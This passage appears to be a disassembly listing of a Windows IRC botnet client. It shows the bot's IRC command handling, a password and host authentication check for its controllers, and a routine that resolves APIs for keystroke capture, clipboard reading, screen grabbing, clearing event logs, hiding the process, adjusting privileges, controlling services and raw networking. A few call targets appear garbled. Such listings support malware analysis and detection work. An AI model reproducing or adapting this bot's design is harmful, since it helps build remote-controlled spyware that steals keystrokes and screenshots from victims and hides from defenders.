		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670EC6h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		nop
		call	near ptr 269082Bh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D9C


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D4C


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		nop
		call	near ptr 2670EC6h


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C78
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D120 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		nop
		call	near ptr 2670EC6h

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		nop
		call	near ptr 2680867h
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		nop
		call	near ptr 2680867h
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		nop
		call	near ptr 2680867h
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		nop
		call	near ptr 2680867h
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
